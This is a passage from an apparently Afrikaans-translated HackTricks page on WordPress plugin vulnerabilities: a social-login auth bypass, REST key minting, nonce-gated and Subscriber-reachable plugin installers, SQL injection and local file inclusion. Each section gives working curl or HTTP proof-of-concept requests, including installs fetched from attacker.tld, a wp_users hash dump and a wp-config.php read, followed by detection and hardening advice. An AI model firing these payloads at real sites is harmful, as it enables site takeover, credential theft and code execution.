  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Kontroleer die theme/plugin vir add_action(‘wp_ajax_nopriv_…’, ‘…’) registrasies in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep vir wp_set_auth_cookie(), get_user_by(‘email’, …) binne AJAX handlers.

Detection checklist

  • Web logs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php toon met die social-login action en id=.
  • 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent.

Hardening

  • Moet nie identiteit aflei vanaf kliëntinvoer nie. Aanvaar slegs e-posadresse/IDs wat afkomstig is van ’n gevalideerde provider token/ID.
  • Vereis CSRF nonces en capability checks selfs vir login helpers; vermy die registrasie van wp_ajax_nopriv_ tensy dit streng nodig is.
  • Valideer en verifieer OAuth/OIDC responses server-side; verwerp ontbrekende/ongeldige providers (geen fallback to POST id nie).
  • Oorweeg om social login tydelik te deaktiveer of virtueel te patch by die edge (block the vulnerable action) totdat dit reggemaak is.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Waarom dit uitbuitbaar is

  • Sensitiewe REST-route beskerm slegs deur lae-entropie identiteitsbewys (username) of ontbrekende permission_callback
  • Geen bevoegdheidsafdwinging; die geskepte sleutel word as ‘universele omseiling’ aanvaar

Detection checklist

  • Grep plugin-kode vir register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Enige route wat tokens/sleutels uitreik gebaseer op versoek-verskafde identiteit (username/email) sonder om dit te koppel aan ’n geverifieerde gebruiker of bevoegdheid
  • Soek na daaropvolgende routes wat die geskepte token/sleutel aanvaar sonder server-side bevoegdheidskontroles

Verharding

  • Vir enige bevoorregte REST-route: vereis permission_callback wat current_user_can() afdwing vir die vereiste bevoegdheid
  • Moet nie langlewende sleutels skep uit kliënt-verskafde identiteit nie; indien nodig, gee kortlewende, gebruikers-gebonde tokens ná verifikasie en kontroleer bevoegdhede weer by gebruik
  • Valideer die aanroeper se gebruiker-konteks (wp_set_current_user is nie voldoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can()

Misbruik van Nonce-gate → ongeauthentiseerde arbitrêre plugin-installasie (FunnelKit Automations ≤ 3.5.3)

Nonces voorkom CSRF, nie autorisasie nie. As kode ’n nonce-slaag as ’n groen lig hanteer en dan bevoegdheidskontroles vir bevoorregte operasies oorslaan (bv. installering/aktivering van plugins), kan ongeauthentiseerde aanvallers ’n swak nonce-vereiste voldoen en RCE bereik deur ’n met-achterdeur of kwesbare plugin te installeer.

  • Kwetsbare pad: plugin/install_and_activate
  • Fout: swak nonce-hashkontrole; geen current_user_can(‘install_plugins’|‘activate_plugins’) sodra nonce “slaag”
  • Impak: volle kompromittering deur arbitrêre plugin-installasie/-aktivering

PoC (vorm hang van die plugin af; slegs illustratief)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen vermoëkontrole nie
  • Enige kodepad wat $skip_caps = true stel na nonce-validasie

Hardening

  • Behandel nonces altyd slegs as CSRF-tokens; dwing vermoëkontroles af ongeag die nonce-toestand
  • Vereis current_user_can(‘install_plugins’) en current_user_can(‘activate_plugins’) voordat installer-kode bereik word
  • Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde strome

Subscriber+ AJAX plugin installer → gedwonge kwaadwillige aktivering (Motors Theme ≤ 5.6.81)

Patchstack’s analysis het getoon hoe die Motors theme ’n authenticated AJAX helper insluit vir die installering van sy companion plugin:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Slegs check_ajax_referer() word aangeroep; daar is geen current_user_can('install_plugins') of current_user_can('activate_plugins') nie.
  • Die nonce is ingebed in die Motors admin page, sodat enige Subscriber wat /wp-admin/ kan oopmaak dit uit die HTML/JS kan kopieer.
  • Die handler vertrou die deur die aanvaller beheerde plugin-parameter (gelees vanaf $_GET) en gee dit aan Plugin_Upgrader::install(), sodat ’n arbitrêre afgeleë ZIP in wp-content/plugins/ afgelaai word.
  • Na installasie roep die tema onvoorwaardelik mvl_theme_activate_plugin() aan, wat uitvoering van die aanvaller-plugin se PHP-kode waarborg.

Uitbuitingsvloei

  1. Registreer/kompromiseer ’n rekening met lae voorregte (Subscriber is genoeg) en haal die mvl_theme_install_base nonce uit die Motors dashboard UI.
  2. Skep ’n plugin ZIP waarvan die topvlakmap ooreenstem met die verwagte slug motors-car-dealership-classified-listings/ en plaas ’n backdoor of webshell in die *.php entry points.
  3. Huisves die ZIP en aktiveer die installer deur die handler na jou URL te wys:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Omdat die handler $_GET['plugin'] lees, kan dieselfde payload ook via die query string gestuur word.

Detection checklist

  • Soek themes/plugins na Plugin_Upgrader, Theme_Upgrader, of pasgemaakte install_plugin.php helpers wat aan wp_ajax_* hooks gekoppeld is sonder capability checks.
  • Inspekteer enige handler wat plugin, package, source, of url parameter neem en dit in upgrader APIs invoer, veral wanneer die slug hard-coded is maar die ZIP-inhoud nie geverifieer word nie.
  • Hersien admin bladsye wat nonces blootstel vir installer actions—as Subscribers die bladsy kan laad, aanvaar dat die nonce leak.

Hardening

  • Gate installer AJAX callbacks met current_user_can('install_plugins') en current_user_can('activate_plugins') na nonce verification; Motors 5.6.82 het hierdie check ingegee om die bug te patch.
  • Weier untrusted URLs: beperk installers tot bundled ZIPs of trusted repositories, of dwing signed download manifests af.
  • Behandel nonces streng as CSRF tokens; hulle bied nie authorization nie en moet nooit capability checks vervang nie.

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Meerdere depicter-* actions het die s (search) parameter gebruik en dit in SQL queries geplak sonder parameterization.

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep vir depicter-* action handlers en direkte gebruik van $_GET[‘s’] of $_POST[‘s’] in SQL
  • Hersien aangepaste queries wat aan $wpdb->get_results()/query() deurgegee word en s konkateer

Hardening

  • Gebruik altyd $wpdb->prepare() of wpdb placeholders; verwerp onverwagte metakarakters aan die bedienerkant
  • Voeg ’n streng allowlist vir s by en normaliseer na die verwagte charset/length

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – read wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Opsporingskontrolelys

  • Enige handler wat versoekpaaie aanmekaar sit in include()/require()/read sinks sonder realpath() containment
  • Kyk vir traversal-patrone (../) wat buite die beoogde templates directory bereik

Verharding

  • Dwing allowlisted templates af; los op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
  • Normaliseer insette; weier traversal-volgordes en absolute paadjies; gebruik sanitize_file_name() slegs vir lêernaam (nie volledige paadjies nie)

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks